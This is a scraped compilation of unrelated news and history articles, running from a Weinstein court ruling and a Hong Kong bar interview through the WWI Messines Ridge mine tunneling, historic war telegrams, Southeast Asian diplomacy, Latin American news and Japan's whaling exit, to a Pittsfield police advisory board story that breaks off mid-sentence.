KENA BETANCUR/AFP/Getty Images(NEW YORK) -- The remaining criminal charges against Harvey Weinstein were upheld Thursday morning by a New York judge, who rejected a request by the disgraced film producer's attorneys to drop them. The decision by state Supreme Court Justice James Burke clears the way for prosecutors to try Weinstein, who faces five counts, including rape. Weinstein is charged with raping a woman in a hotel room in March 2013 and forcibly performing oral sex on another woman in 2006 at his Manhattan apartment. He has denied all allegations of non-consensual sex. The Manhattan District Attorney's office already agreed to drop one of the charges after it learned a lead police detective in the case instructed a potential witness to keep certain doubts to herself. The defense has said the conduct of the detective "irreparably tainted" the entire case but prosecutors have said there is "ample evidence" to proceed. Copyright 2018, ABC Radio. All rights reserved. Copyright 1995 - . All rights reserved. The content (including but not limited to text, photo, multimedia information, etc) published in this site belongs to China Daily Information Co (CDIC). Without written authorization from CDIC, such content shall not be republished or used in any form. Note: Browsers with 1024*768 or higher resolution are suggested for this site. 0108263 License for publishing multimedia online Registration Number: 130349 Registration Number: 130349 Tell us a little about the history of your citys drinking culture. What are the traditional drinks and how are things changing? The citys drinking scene has changed dramatically in the past 10-15 years. We were heavy on cognac and fine wines in the past and now more attention is placed on cocktails with bartender-driven bars and restaurants offering great cocktails. Hong Kong is a very adaptable city with the young generation, which is extremely curious and open minded to try new things. This allows bar owners and bartenders to be more adventurous in what they offer. How advanced is cocktail culture in Hong Kong what are the trends and styles of cocktails? We are seeing more smaller-scale cocktail bars opening with a focus on a particular style of cocktails or type of spirits. This shows that customers are becoming more particular about what they like and finding places that could offer a unique experience. Jay Khans COA is an example of a speciality bar offering great tequila and mezcals. Also, more bars are using advanced techniques such as clarification and redistillation to achieve better results. Who and what are the pioneer bartenders and bars? The recently closed Lily & Bloom American restaurant was definitely one of the first craft cocktail bars in thecity, leading the way for others to join its path. Pioneers such as Antonio Lai and Agung Prabowo have contributed to shaping Hong Kongs bar scene, allowing newcomers to be more experimental. Where do you think the city ranks in terms of bar scenes in Asia? Is it leading the way with Singapore and Tokyo? How does it compare in style? Singapore has always been a competitor to Hong Kong, from the financial markets to the dining and drinking scene. We are fortunate enough to have four seasons, so our cocktail offering can change throughout the year. Hong Kong bars are very concentrated with a lot to offer in one small area, while Tokyo is more spread out and traditional. Do you feel like cocktail consumption is at an all-time high? Yes definitely so. Cocktails are no longer just offered in bars but in different types of restaurants and in fine-dining scenarios. Chefs and bartenders are increasingly working together to create cocktail pairings for tasting menus, pushing the boundaries of cocktail consumption. What are the challenges the citys bartenders/bar owners face? Finding good talent and building a team is definitely one of the challenges we face in the city. Hong Kong is an expensive city to live in and the younger generation is eager to enter the industry but finding it hard to survive on the entry-level positions. They often have to change industry to get higher pay. But its equally hard for bar owners to afford the high rent and labour costs, so a lot of cocktail bars dont make it past the two-year mark. Who made you the best cocktail youve had in Hong Kong? I think the best cocktail is more about the bartender understanding my palate and Samuel Kwok from Quinary does the job well. I often have one last drink before going home and thats my last stop. He knows how to complete my day. They were an underground army to themselves. Leading the way were soldiers known as clay-kickers, who leaned back on inclined boards and kicked spades into the heavy French soil, carving it out inch by inch. Following on their bootheels were the moles, who enlarged each cavity. Finally came munitions experts, who carefully packed the chambers with explosives. Together, the tunnelers toiled beneath the Western Front fields of Flanders. At the outset of World War I in early August 1914 the Germans invaded Belgium and quickly pushed through to France. The Allies were able to halt their advance a month later at the First Battle of the Marne, after which the conflict settled into a disastrous stalemate that would claim millions of lives. Combined casualty estimates at First Marne alone approached a half-million. The combatant armies then dug in along a meandering line of fortified trenches stretching some 440 miles from the North Sea to the French-Swiss border. Each side resorted to creeping artillery barrages followed by massed infantry attacks. Soldiers entering the shell-pocked no mans land in between faced enemy trench lines bristling with barbed wire and swept by interlocking fire from machine gun nests. Territory was gained, lost, regained, then fought over again. No new technologyaircraft, flamethrowers, poison gas, tanks, etc.provided enough of an advantage to break the deadlock. There was little hope on either side. But one tactic, used to varying effect in previous wars, did produce results on the Western Fronttunneling and mining. In December 1914 German soldiers dug shallow tunnels that stretched beneath no mans land to the British lines near Givenchy-les-la-Bassee, France. On the morning of December 20, having placed 10 mineseach weighing 110 poundsbeneath the Sirhind Brigade of the 3rd (Lahore) Division, the Germans detonated the explosives, following up with an immediate infantry attack that advanced some 300 yards and inflicted heavy casualties on the British Indian forces. Two months later British Maj. John Norton-Griffiths, a successful civil engineer then busying himself on the home front, received a telegram instructing him to report to the British War Office. A Conservative member of Parliament known to colleagues as Empire Jack, Norton-Griffiths was a dyed-in-the-wool imperialist, a colorful aristocrat and something of a maverick. History records him as handsome, physically imposing, and with the strength and endurance of a prize fightera charming swashbuckler and a persuasive showman, one of the most dashing men of the Edwardian era, but also a man of fiery temperament, a rebellious nature and uncontrollable rages. Tellingly, he was also known as Hellfire Jack. Before the war Norton-Griffiths had founded an engineering company, soon earning a global reputation for construction projects that required tunneling through clay subsoilfrom railways in Angola and Australia, to harbors in Canada, to drainage systems in Manchester and Liverpool. Given the similar soil conditions in Flanders, Norton-Griffiths believed his clay-kickers, digging in areas too confined for pickaxes, could tunnel faster, quieter andperhaps most importantdeeper than the Germans. Weeks before the German attack near Givenchy-les-la-Bassee hed sent a letter to the British War Office, proposing to organize such a unit. It had gone unanswered. Then came the February 1915 summons. In a private meeting with Lord Kitchener, Britains iconic secretary of state for war, Norton-Griffiths impulsively grabbed a coal shovel from a fire grate in the office and dropped to the floor to demonstrate the digging technique. Kitchener promptly asked his exuberant guest to cross the channel and explain his proposal to Allied commanders in France. After several briefings and similar demonstrations, engineer in chief Brig. Gen. George Henry Fowke agreed to the plan, and Kitchener duly authorized the formation of special tunneling units composed of English, Welsh and Scottish coal miners, Cornish tin miners, and diggers from Canada, Australia and New Zealand. Fowke put Norton-Griffiths in charge, gave him carte blanche and sent him to the front as a liaison to Col. Robert Napier Harvey, assistant to the engineer in chief. Norton-Griffiths was soon touring the British lines in his wifes borrowed Rolls-Royce Landaulette, bearing crates of fine port with which to cajole field officers into releasing men suited to his mission. Recruiting those who had worked in engineering companies before the war, the major explained their task would be a simple oneto dig beneath the German lines, plant explosives, wire up the charges, return to the Allied trenches and watch the Germans go up. The British had long considered a major offensive in Flanders, and by early 1916 Second Army commander Gen. Herbert Plumer began planning for such an attack. A necessary precursor of the plan was to capture Messines Ridge, on the southern arc of the Ypres salient, the low-lying clay plain that had been the site of several major offensives. The Germans had held the ridge since November 1914 and heavily fortified it against infantry attacks. Sensing an opportunity, Norton-Griffiths put his men to work in an all-out tunneling effort. For the miners digging the shaftsposted with Deep Well signs to preserve secrecythe work was tedious and dangerous. The tunnels were dark, small and often flooded. There was always the possibility of a cave-in, and diggers also feared seeping carbon monoxide from burst enemy artillery shells and methane buildup from the earth itself. In cold, cramped conditions the miners labored in four- to eight-hour rotating shifts. Given their state of near constant fatigue, they were prone to illness, with especially high rates of trench foot, a painful condition caused by prolonged immersion in cold water or mud. It was stuffy, filthy, oppressive, dangerousjustfrightful, recalled Pvt. Donald Hodge. You were down there on your hands and knees for hours on end, part of a long line of men passing bags back between our legs.It was the most tiring and painful work I ever did on the Western Front. During rest periods from such backbreaking tasks, the men employed a range of listening devices to pinpoint their enemy counterparts. On occasion miners accidentally broke through into German tunnels, or vice versa, sparking desperate hand-to-hand combat. Other times the tunnelers would simply blow the enemy works. Miraculously, despite all such obstacles, the operation remained undetected. Finally, in June 1917, having burrowed for some 18 months, the tunnelers finished their work. Unfortunately for Norton-Griffiths, he couldnt be there for the big finale. In late 1916 the War Office had tapped him to lead another intrepid group set on sabotaging the oil fields in Ploesti, Romania. There his men dumped cement down the wells, filled oil tanks with nails, emptied storage wells and set them ablaze. Norton-Griffiths team destroyed some 70 refineries and 800,000 tons of crude oil, creating shortages from which the Germans never fully recovered. Meanwhile, back in Belgium Hellfire Jacks munitions experts packed more than 500 tons of explosives beneath German positions along a 10-mile arc of the Messines Ridge, from dominating Hill 60 in the north to Trench 122 near Ploegsteert Wood in the south. Some tunnels stretched more than 2,000 feet long, and they delved as deep as 138 feet below the surface of the ridge. The corresponding infantry attack, code-named Magnum Opus, was set for June 7, with zero hour at 3:10 a.m. The day before Second Army headquarters briefed the press on the forthcoming action. After the briefing Maj. Gen. Charles Harington Harington, Plumers chief of staff, was asked if it might alter the course of the war. I do not know whether or not we shall change history tomorrow, Harington replied in dry British fashion, but we shall certainly alter geography. In the weeks before the assault British battalions were moved forward, and captured Germans provided vital intelligence on their units preparedness. Preliminary bombardment of the enemy lineswith 2,266 field pieces and 428 heavy mortarsbegan on May 21. All firing ceased at exactly 2:50 a.m. on June 7. The silence must have been deafening for Capt. Oliver Holmes Woodward. A metallurgist and mine manager who had enlisted in the Australian Imperial Force, Woodward had been posted to a company of his nations newly raised Mining Corps. In November 1916 his 1st Australian Tunneling Company had taken over digging operations for the two northernmost mines at Messines, planting 53,500 pounds of explosives beneath Hill 60 and another of 70,000 pounds under an adjacent feature dubbed the Caterpillar. South of Woodwards position that morning 17 other mines lay wired and ready to blow, each containing a potent mix of ammonium nitrate and aluminum powder known as ammonal. The mines ranged in weight from 14,900 pounds to a whopping 95,600 pounds. Their tandem detonation would signal the start of the Battle of Messines. Woodward was tasked with triggering his teams mines. At 2:25 a.m., he later wrote, I made the last resistance test and then made the final connection for firing the mines. This was rather a nerve-racking task, as one began to feel the strain and wonder whether the leads were properly connected up.Breathlessly we watched the minute hand crawl towards the [appointed time], then, with white faces, we strained our eyes towards the enemy line, which had become visible in the gray dawn. The nail-biting silence persisted another 20 minutes, as Woodward and fellow miners along the line checked their watches, and 80,000 infantrymen stood ready to attack the ridge. Brig. Gen. Thomas Lambert was present in the Australian firing dugout and provided the countdown. The general, Woodward recalled, in what seemed interminable periods, called out, Three minutes to gotwo to goone to go45 seconds to go20 seconds to goand then, 9, 8, 7, 6, 5, 4, 3, 2, 1FIRE! I do not know whether or not we shall change history tomorrow, Maj. Gen. Charles Harington Harington replied in dry British fashion, but we shall certainly alter geography Suddenly, all hell broke loose, one tunneler recalled. It was indescribable. In the pale light it appeared as if the whole enemy line had begun to dance, then, one after another, huge tongues of flame shot hundreds of feet into the air, followed by dense columns of smoke, which flattened out at the top like gigantic mushrooms. From some craters were discharged tremendous showers of sparks rivaling anything ever conceived in the way of fireworks. The whole scene was majestic in its awfulness. At the same moment every gun opened up, the din became deafening and then nothing could be seen of the front but the bursting of our barrage and the distress flares of the enemy. Our trench rocked like a ship in a strong sea, and it seemed as if the very earth had been rent asunder, Pvt. Albert Johnson recalled. What the Germans thought of this is better described without words. The earth at Flanders shook for 19 seconds in what comprised the largest man-made explosion to that date. As columns of flame shot high into the sky, pieces of concrete pillboxesand their occupantsrained down for hundreds of yards in all directions. The blast sandwiched shut surrounding German trenches, instantly entombing soldiers where they stood, sat or slept. Witnesses recalled clods of earth the size of houses hurtling through the sky. French geologists at Lille University, 12 miles to the southeast, mistook the tremors for an earthquake, while reports in the London papers the next morning claimed Prime Minister David Lloyd George was among those across the channel who had heard the explosion. The massive June 7 blast instantly killed an estimated 10,000 German troops. Another 7,200, many in shock and too disoriented to act, were captured in the attack that followed. The joint detonation of more than 900,000 pounds of ammonal had erupted into what one German survivor poetically described as gigantic roses with carmine petals. Amid the haze of a creeping artillery barrage came the massed infantry assault by nine divisions of Plumers Second Army. The advancing troops took their initial objectives within two hours and captured the ridge within a day. Reserves from British Gen. Hubert Goughs Fifth Army and the French First Army under Gen. Francois Anthoine reached their respective final objectives by mid-afternoon. By June 14 the Messines salient was solidly in Allied hands. The limited offensive was as near a complete victory as could be imagined. Messines is to the tunneler what Waterloo was to Wellington, British Capt. W. Grant Grieve wrote in the wake of the battle. Never in the history of warfare has the miner played such a great and vital part in a battle. Despite the successful outcome, Messines was only the prequel to the broader Third Battle of Ypres (aka Battle of Passchendaele), which began on July 31 and continued through early November. That offensive reverted to form, with small gains for the Allies at great human cost, the British suffering some 310,000 casualties, the Germans about 260,000. The war itself dragged on another year. By the time the signing of the Treaty of Versailles formally ended the global conflict, as many as 19 million peoplesoldiers and civilianshad been killed or died from starvation or any number of illnesses. John Norton-Griffiths, the man who had masterminded the mining operations along Messines Ridge, was knighted after the battle, promoted to lieutenant colonel in 1918 and created a baronet in 1922. He spent the postwar years in Egypt, overseeing a project to heighten the Aswan Dam. It proved problematic, threatening financial ruin and possible criminal prosecution. On Sept. 27, 1930, Norton-Griffiths hired a surfboat from his Alexandria resort, rowed offshore and promptly went missing. Searchers later found his body slumped in the bottom of the drifting boat, a bullet wound in the temple. The talented 59-year-old engineer and heralded veteran of the Western Front had died by his own hand. MH New Yorkbased Norm Goldstein is a regular contributor to Military History. For further reading he recommends Beneath Flanders Fields: The Tunnellers War, 191418, by Peter Barton, and Messines Ridge, by Peter Oldham. Used for war communications for the first time in the Crimean War, telegraphy transformed the conduct of battleand enlivened the historical record. Yesterday God crowned our arms with success. The enemy is retreating. Confederate major general Thomas J. Stonewall Jackson to his wife on June 9, 1862, after his Army of the Valley repulsed attacks by Union major general John C. Fremont and Union brigadier general James Shields in the Battle of Port Republic Hold on with a bull-dog grip, and chew & choke, as much as possible. President Abraham Lincoln to Union lieutenant general Ulysses S. Grant on August 17, 1864, after being informed that Grant was reluctant to break his hold on the Confederate army at Petersburg, Virginia I beg to present to you as a Christmas gift the city of Savannah with 150 guns & plenty of ammunition & also about 25,000 bales of cotton. Union major general William Tecumseh Sherman to President Lincoln on December 22, 1864, after completing his March to the Sea and capturing one of the last major ports that remained open to the Confederates General Lee surrendered the Army of Northern Virginia this afternoon on terms proposed by myself. The accompanying additional correspondence will show the conditions fully. Union lieutenant general Ulysses S. Grant to Secretary of War Edwin M. Stanton on April 9, 1865, after meeting with Confederate general Robert E. Lee at Appomattox Court House, Virginia It is my painful job to tell you that something terrible has happened to General Custer and his soldiers.Almost nothing is known about what happened to Custer and his five companies because everyone with him died during the fighting. Brigadier General Alfred H. Terry to his superiors in the U.S. Army on June 27, 1876, after discovering the bodies of George Armstrong Custer and his men following the Battle of the Little Bighorn in Montana Territory Indians are dancing in the snow and are wild and crazy. I have fully informed you that [we] have no protection and are at the mercy of these dancers. Why delay by further investigation? We need protection, and we need it now.Nothing short of 1000 troops will stop this dancing. Dr. Daniel F. Royer, the newly appointed agent of the Pine Ridge Reservation in South Dakota, to the commissioner of Indian Affairs in Washington, D.C., on November 15, 1890, asking for military support and ultimately triggering the massacre of hundreds of Lakota Indians near Wounded Knee Creek Please remain. You furnish the pictures, and Ill furnish the war. Newspaper publisher William Randolph Hearst to Frederic Remington, his artist in Cuba, in 1897 after Remington, finding no Spanish atrocities there and no scenes worth illustrating, had cabled: Everything is quiet. There is no trouble here. There will be no war. I wish to return. By appointing Hitler chancellor of the Reich you have handed over our sacred German fatherland to one of the great demagogues of all time. I prophesy to you this evil man will plunge our Reich into the abyss and will inflict immeasurable woe on our nation. Future generations will curse you in your grave for this action. Former Prussian general Erich Ludendorff to German president Paul von Hindenburg, his former commander in chief, on January 30, 1933 Winston is back. British naval command to all ships on September 1939, announcing the return of Winston Churchill to his old job as First Lord of the Admiralty Further cowardly retreats are forbidden. German chancellor Adolf Hitler to Field Marshal Paul Ludwig Ewald von Kleist on November 29, 1941, after von Kleist, having captured the Soviet city of Rostov, abandoned it a week later in the face of a counteroffensive launched by Soviet general Semyon Timoshenko Air raid on Pearl Harbor. This is not drill. Rear Admiral Husband E. Kimmel to all ships present at the Hawaii[a]n area on December 7, 1941, just minutes after Japanese fighter planes started dropping bombs on the U.S. naval base at Pearl Harbor Mein Fuhrer. The Sixth Army has kept faith. We have fought to the last man, last bullet, as you ordered. We have no more arms, no more ammunition. No more food. The following divisions have been totally wiped out: 14th, 16th, and 24th Panzer divisions; 9th flak division; 30th motorized division; 44th, 71st and 176th infantry divisions; 100th rifle division. Heil Hitler! Long live Germany! German field marshal Friedrich Wilhelm Paulus to Adolf Hitler, February 1, 1943 Conditions appalling. City wiped out. Eighty percent of all hospitals destroyed or seriously damaged. Inspected two emergency hospitals, conditions beyond description. Effect of bomb mysteriously serious. Many victims apparently recovering suddenly suffer fatal relapse due to decomposition of white blood cells and other internal injuries, now dying in great numbers. Estimated still over one hundred thousand wounded in emergency hospitals. A representative of the International Committee of the Red Cross in Hiroshima, Japan, to Dr. Marcel Junod, ICRC delegate, on August 30, 1945, 24 days after the United States dropped the worlds first atomic bomb on the city The unleashed power of the atom has changed everything save our modes of thinking and we thus drift toward unparalleled catastrophe. Physicist and Nobel laureate Albert Einstein to several hundred prominent Americans on May 23, 1946, in a fundraising appeal for the newly formed Emergency Committee of Atomic Scientists This article appears in the Spring 2018 issue (Vol. 30, No. 3) of MHQThe Quarterly Journal of Military History with the headline: War List | Wired Words Want to have the lavishly illustrated, premium-quality print edition of MHQ delivered directly to you four times a year? Subscribe now at special savings! Vietnamese Deputy Prime Minister and Foreign Minister Pham Binh Minh meets with LPRP General Secretary and President Bounnhang Vorachith (Photo: VNA) Minh made the statement at separate meetings with Lao leaders, including General Secretary of the Lao Peoples Revolutionary Party (LPRP) and President Bounnhang Vorachith, Prime Minister Thongloun Sisoulith, and Chairwoman of the National Assembly Pany Yathotou on December 19th, as part of his official visit to the country from December 18th-19th to co-chair the fifth foreign ministerial-level consultation with Lao FM Saleumxay Kommasith. The Lao leaders spoke highly of the annual consultation mechanism, saying that it has helped the two foreign ministers discuss strategic issues to give effective and timely recommendations in bolstering bilateral cooperation to Party and State leaders of both nations. LPRP General Secretary and President Bounnhang Vorachith affirmed that the Lao Party and State always attach importance to nurturing the traditional friendship, special solidarity and comprehensive cooperation between Laos and Vietnam. PM Thongloun Sisoulith expressed his pleasure at the positive development of bilateral relations, especially the close coordination between the two governments and the connecting role of the two foreign ministries. Meanwhile, NA Chairwoman Pany Yathotou promised to support necessary changes and supplements in mechanisms, policies and laws in order to further boost trade and investment ties between Laos and Vietnam. Earlier, Minh hold talks with his Lao counterpart Saleumxay Kommasith, during which they discussed measures to foster bilateral relations and exchanged views on several regional and international issues of mutual concern. Both diplomats said they were delighted at the extensive and effective development of the traditional friendship, special solidarity and comprehensive cooperation in all spheres such as politics, foreign affairs, security, defence, economy, trade, investment, and education. They agreed to increase the exchange of high-level visits and meetings, effectively carry out the existing cooperation mechanisms, and work with competent ministries and branches to make meticulous preparations for the 41st meeting of the Vietnam-Laos Intergovernmental Committee scheduled to take place in early 2019 in Vietnam. They held that the two foreign ministries have enjoyed practical and effective cooperation through a wide range of cooperation mechanisms like the foreign ministerial-level consultation, the deputy minister-level political consultation, border meetings and human resources training. The two FMs agreed that in the context of complicated developments in the world, the two ministries need to step up discussions on regional and international issues based on mutual trust and understanding. Sharing their view-points on several international issues, including the Asia-Pacific situation, ASEAN Cooperation, Mekong sub-region collaboration and sustainable water use, and the East Sea, they consented to continue close coordination at regional and international forums to elevate the position of each country in the international arena. Right after the talks, on behalf of Party, State and Government leaders, the two FMs presented orders and medals to units and individuals of the two foreign ministries, who have made significant contributions to promoting the Vietnam-Laos special solidarity./. Mexican Foreign Secretary Marcelo Ebrard announced Tuesday a collaborative effort with the United States to funnel billions of dollars of investment into southern Mexico and Central America to improve economic development and discourage migration. The United States and Mexico today commit to strengthen and expand our bilateral cooperation to foster development and increase investment in southern Mexico and in Central America to create a zone of prosperity, he said, reading from a joint statement issued by both governments. We are committed to promoting strong regional economic growth, good jobs, and expanded opportunity for all of our citizens, Ebrard said. He said the statement represents a US endorsement of the development plan that Mexican President Andres Manuel Lopez Obrador signed hours after his Dec. 1 inauguration with the leaders of El Salvador, Guatemala and Honduras. Those nations, collectively known as the Northern Triangle, account for the lions share of US-bound Central American migrants. The United States and Mexico will lead in working with regional and international partners to build a more prosperous and secure Central America to address the underlying causes of migration, and so that citizens of the region can build better lives for themselves and their families at home, he said. He said that Washington is pledging "$5.8 billion in support of institutional reforms, development, and economic growth in the Northern Triangle from public and private sources. Concerning the south of Mexico, Ebrard said that the Lopez Obrador administration is planning to invest $25 billion in five years. The foreign secretary said a meeting of senior officials from both governments by the end of January 2019 to evaluate the new project and create a strategy. Venezuelan conductor and violinist Gustavo Dudamel became the first person in the field of music to receive the Paez Medal of Art, which is awarded annually to an individual or group that contributes to the proliferation of the arts in Venezuela and the United States. Dudamel is the youngest person to receive this medal for his contributions to the arts, Ali Cordero Casal, chairman of the Venezuelan American Endowment for the Arts (VAEA), which awards the prize, told EFE Tuesday. Cordero Casal said the 37-year-old Dudamel, who has been the music and artistic director of the Los Angeles Philharmonic since 2009 and made his much-anticipated debut at the Metropolitan Opera in New York last Friday conducting Verdis Otello, is a great asset. The VAEA said in awarding the prize to Dudamel in June that he was being honored for his significant contribution to the arts and his unwavering commitment in bringing classical music to all, building international bridges and making powerful social transformation through his craft. Past winners of the Paez Medal of Art, named after Venezuelan independence hero Jose Antonio Paez, include 95-year-old Venezuelan artist Carlos Cruz-Diez, a master of kinetic and op art who was awarded the honor in 2012; and American experimental theater stage director and playwright Robert Wilson (2013). Cordero Casal told EFE that the severe economic crisis in Venezuela has had a negative impact on the arts but also has awakened artists creativity. There are two ways of looking at this problem. This very complicated situation were experiencing has awakened a great deal of creativity among artists, and there are a lot of proposals, an incredible flourishing, he said. But then theres the negative side, the fact the museums have no budget, no air conditioning; theres deterioration. The exodus of many Venezuelans in the world of art and culture also is a problem, Cordero Casal said. Although they continue to produce their work, always under the banner of Venezuela, we miss them a great deal in our country, he said. Brazils center-left opposition Workers Party (PT) said Wednesday it has filed a petition for the immediate release from prison of former President Luiz Inacio Lula da Silva . The petition was filed after a unilateral decision earlier in the day by Supreme Court Justice Marco Aurelio Mello, who ruled that individuals who have had one appeal of their convictions upheld can be eligible for release until they exhaust all appeals. The ruling, however, states that it does not apply to all prisoners who fit that criteria and that judges must assess each inmate on a case-by-case basis. Mellos decision came on the Supreme Courts final day of work before its end-of-the-year recess, meaning that between now and February only Chief Justice Jose Antonio Dias Toffoli can overturn the ruling. In a press conference Wednesday afternoon, the PTs chairwoman, Gleisi Hoffmann, said the party was pleased with a ruling it considers important for Brazils legal process and constitutional rights. Thats why weve taken all corresponding legal measures to ensure the release of the ex-president, she said, adding that the Supreme Court cannot wait until years end before announcing a decision on such an important matter. Lulas attorney, Cristiano Zanin, filed the petition in the southern city of Curitiba, where Lula is serving a 12-year prison sentence. Lula - who governed from 2003 to 2010 and remains Brazils most popular politician - was convicted last year of having accepted bribes from a construction company in the form of renovations to a seaside condo that the former president never owned or occupied. The conviction was upheld on appeal and Lula has been behind bars since April, which led to his being barred from the presidential election amid polls showing that he would have won by a wide margin. The case against Lula, who denies any wrongdoing, was based largely on plea-bargained testimony from people already convicted of corruption offenses. Lula, who faces several other trials for alleged corruption, can still appeal his conviction to the Superior Court of Justice (STJ), Brazils highest federal appellate court for non-constitutional questions of law, and the Supreme Court (STF), Brazils highest court for constitutional matters. The burning of two homes and a car dealership in the northern town of Ypejhu is connected to a battle between rival criminal outfits based in neighboring Brazil, Paraguayan officials said Wednesday. The arson was carried out by heavily armed, Portuguese-speaking men who entered Paraguay in five vehicles and returned to Brazil after the assault, Deputy Interior Minister Hugo Sosa said. The first hypothesis we are considering is that it is a fight between criminal gangs, mostly from Brazil, he said. But National Police second-in-command Eladio Sanabria said that authorities have no information that points to any specific group. Sanabria said that in one of the homes attacked there were two women and a minor, who the assailants interrogated on the whereabouts of a family member, Diego Peralta Alderete, a man wanted in Brazil in connection with a murder. Paraguays president, Mario Abdo Benitez, told reporters after a public event in the central province of Caaguazu that the violence was the work of organized crime. Police said the attackers were armed with long guns and that they detonated some type of explosive device. Sosa said that the police contingent in Ypejhu were pinned down inside the station by gunfire during the assault. Kyodo News is reporting government sources as saying that Japan is set to announce it is leaving the International Whaling Commission but is considering allowing the continued hunting of whales in nearby seas. Humane Society Internationals whale conservation experts say this will usher in a new era of pirate whaling. The news reports suggest that Japan is unlikely to catch whales in the Antarctic Ocean after it pulls out from the IWC. If reports are confirmed, Humane Society International would welcome the end of whaling in the Southern Ocean, but believes that Japans decision to leave the rules-based order of the IWC will place its North Pacific whaling program completely outside the bounds of international law. Humane Society International also fears that Japan may recruit other pro-whaling nations to leave the IWC, leading to a new chapter of widespread and unauthorised killing of whales for profit. Moreover, in Humane Society Internationals view, Japans move to leave the IWC defies the letter and spirit of Article 65 of the United Nations Convention on the Law of the Sea (UNCLOS). Article 65 underscores the worldwide interest among nations for the conservation of marine mammals in general and cetaceans in particular, and specifies that the IWC is the appropriate international organization to oversee conservation, management and study of whales. Kitty Block, President of Humane Society International says, If reports are true and Japan does leave the International Whaling Commission but continues killing whales in the North Pacific, it will be operating completely outside the bounds of international law and pursuing the path of a pirate whaling nation with a troubling disregard for international rule. Were going to continue to press the international community to bring an end to the unjustified persecution of whales for commercial profit wherever it occurs. If Japan were to cease all whaling, not just on the high seas, then leaving the IWC would not be objectionable. For the absence of Japan could allow the IWC to finally embrace its conservation mandate by addressing the myriad threats facing cetaceans worldwide. However, as long as Japan kills whales along any coast or any in ocean then it must remain in the international organization with jurisdiction over all great whales. Japans exit from the IWC would not be entirely unexpected following its political manoeuvres and proposals at the IWC meeting in Brazil last September. There, it explicitly sought to undermine the international ban on commercial whaling. After its proposals were rejected by a majority vote, Japan indicated it might quit the IWC. This is not the first time that Japan has rejected the authority of an international body when a decision about whaling did not go its way. In 2015, in response to the International Court of Justice finding that Japans so-called scientific whaling in the Southern Ocean was neither legal nor scientific, Japan announced that it would take a sweeping exception to the jurisdiction of the ICJ in relation to any dispute concerning any dispute concerning the living resources of the sea. Facts: The IWC was founded in recognition that whaling was driving populations and species to extinction. It was the first international body to try to ensure the sustainable use of living species. Efforts to manage whaling failed and populations continued to crash until the moratorium was agreed in 1982, coming into force in 1986. Many ex-whaling nations including the USA, UK and Argentina are member nations of the IWC as are the three nations that continue to whale for profit Japan, Norway and Iceland. Japans North Pacific sei whale hunt was found to be in contravention of the Convention on International Trade in Endangered Species of Wild Fauna and Flora, and Japan was instructed to explain in the New Year how it means to address this. ENDS Media contact: To arrange to speak with an HSI marine/IWC expert please contact Wendy Higgins, whiggins@hsi.org, +44 (0)7989 972 423 Permanent Deputy Foreign Minister Bui Thanh Son and Under Secretary for the Holy Sees Relations with States Antoine Camilleri (Source: VNA) At the event, Son stressed that the Party and State of Vietnam consistently follows and improves its laws and policies towards respecting and ensuring citizens right to freedom of religion and beliefs. At the same time, Vietnamese authorities also pay attention to the needs of the Vietnam Catholic Church and create favourable conditions for the activities of the Vietnamese Catholic community. He lauded growing ties between Vietnam and the Vatican, especially through meetings between leaders of Vietnam and the Holy See, such as permanent Deputy Prime Minister Truong Hoa Binhs visit in October during which he met with Pope Francis and Vatican Secretary of State Cardinal Pietro Parolin. Both sides maintained effective information sharing mechanisms to promote mutual understanding and deal with existing issues. The host suggested that the Holy See instruct the Vietnamese Catholic community to contribute to national development and improve the imagery of Catholicism in Vietnam, thus boosting bilateral ties. Camilleri, for his part, affirmed that the Pope continues to attach importance to ties with Vietnam and wants the Vietnam Catholic Church to contribute to the countrys socio-economic development. He thanked the Vietnamese Government and all-level authorities for creating conditions for the activities of the Vietnam Catholic Church, including the Holy Sees Non-Residential Pontifical Representative to Vietnam, as well as the delegations warm reception during their visit. The guest wished that Vietnam and the Holy See would continue maintaining regular exchanges and visits at all levels. Both sides spoke highly of the meetings agenda, contributing to the development of bilateral ties. They agreed to upgrade Vietnam-Vatican ties from Non-Residential Pontifical Representative to Residential Pontifical Representative. On December 18th, Camilleri met Prime Minister Nguyen Xuan Phuc, held a working session with head of the Government Committee for Religious Affairs Vu Chien Thang, and attended the installation of new Archbishop of Hanoi Vu Van Thien./. The Ordinance and Rules subcommittee picked through the language establishing the committee on Monday. Establishment of Police Advisory Board Heads to Pittsfield City Council PITTSFIELD, Mass. The creation of a reimagined Police Advisory Board will now go before the full City Council. The council's ordinance and rules subcommittee hashed out the details of the new board at Monday's meeting and voted a positive recommendation for adoption. The version approved closely aligns with the version put forth by the mayor, and the mayor's proposal was one that was sharply criticized by some of the original petitioners for not providing the board with enough authority to investigate misconduct of officers. The conversation began about a year ago when Igor Greenwald and others pitched the idea of an oversight board to Mayor Linda Tyer. But Greenwald said the mayor halted communication shortly after with many of the original petitioners and proposed a watered-down ordinance that Greenwald believes stripped the board of any real authority. The City Council first took up the issue in April looking to craft an ordinance to establish a board to provide public input into police activities, field complaints, and increase trust between the department and the public. The mayor's proposal was recently fine-tuned by a subcommittee of the local branch of the NAACP. Ward 3 Councilor Nicholas Caccamo then prepared a number of amendments to that proposal, most of which were approved by the subcommittee Monday night. Drew Herzig, Arlene Kirsch, and Joanna Rebecca Thompson on the NAACP's social justice subcommittee said it added training requirements for board members and stays within legal parameters regarding the Civil Service process of officer discipline. "We need this board to analyze the context in which police work, the laws, regulations, policies, and culture," Thompson said. Overall, the NAACP members said the proposal strips away adversarial aspects of such a committee to build cooperation between the community and the Police Department in hopes to bridge the gap between the community and officers. Herzig said the proposal has received support from Police Chief Michael Wynn, the presidents of the Police Department labor unions, and Tyer. Herzig added that he ran it by officials on a similar panel, the Cambridge Police Oversight Board, who also said the language was good. Greenwald says the proposal still doesn't go far enough. He wants a board to have independent fact-finding authority so that if there is a complaint, the board consisting of community members would be able to address it. He questioned why anybody would bring a complaint to the board if it doesn't have such authority. "It is designed to fail. These cosmetic changes are designed to fail just like the last two committees," Greenwald said. A police advisory board has been attempted on multiple occasions in the city's history. One existed just a few years ago but it morphed into a Public Safety Advisory Committee, which later became extinct because of a lack of membership. Tyer said her proposal differs from those previous iterations because it gives the group access to the internal affairs process, allowing for a public airing of such matters. But because the Civil Service process designates the chief of police as being responsible for handling discipline, the committee's authority essentially ends with such a hearing. The group can make recommendations to the chief, mayor, and City Council, but there is no obligation that any recommended changes would be made. City Solicitor Richard Dohoney said even though the authority of the group is less than some may have wanted, the board will still provide a significant amount transparency. "This will provide a level of transparency the city has never seen in the Police Department," Dohoney said. Caccamo further amended the proposal to require the members live in the 